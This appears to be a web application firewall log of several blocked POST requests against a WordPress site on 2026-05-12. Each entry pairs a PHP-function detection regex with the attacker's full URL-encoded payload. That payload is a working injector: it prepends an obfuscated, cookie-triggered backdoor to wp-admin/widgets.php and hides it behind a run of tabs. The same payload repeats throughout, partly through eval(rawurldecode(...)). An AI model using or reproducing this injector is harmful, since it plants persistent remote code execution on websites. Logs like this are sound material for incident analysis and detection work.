JI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B12%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B12%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B3%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B17%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B15%255D.%2524p%255B18%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3229\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFxxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\n\nJI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B12%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B12%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B3%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B17%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B15%255D.%2524p%255B18%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:57:17","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mD:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B12%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B12%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B3%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B17%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B15%255D.%2524p%255B18%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoHDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3229\n\nmD=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B12%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B12%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B3%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B17%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B15%255D.%2524p%255B18%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:57:22","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Nf:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B12%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B12%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B3%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B17%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B15%255D.%2524p%255B18%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGzLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3229\n\nNf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B12%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B12%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B3%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B17%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B15%255D.%2524p%255B18%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:57:25","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B12%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B12%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B3%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B17%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B15%255D.%2524p%255B18%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?1\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Android\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3252\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B12%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B12%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B3%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B17%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B15%255D.%2524p%255B18%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
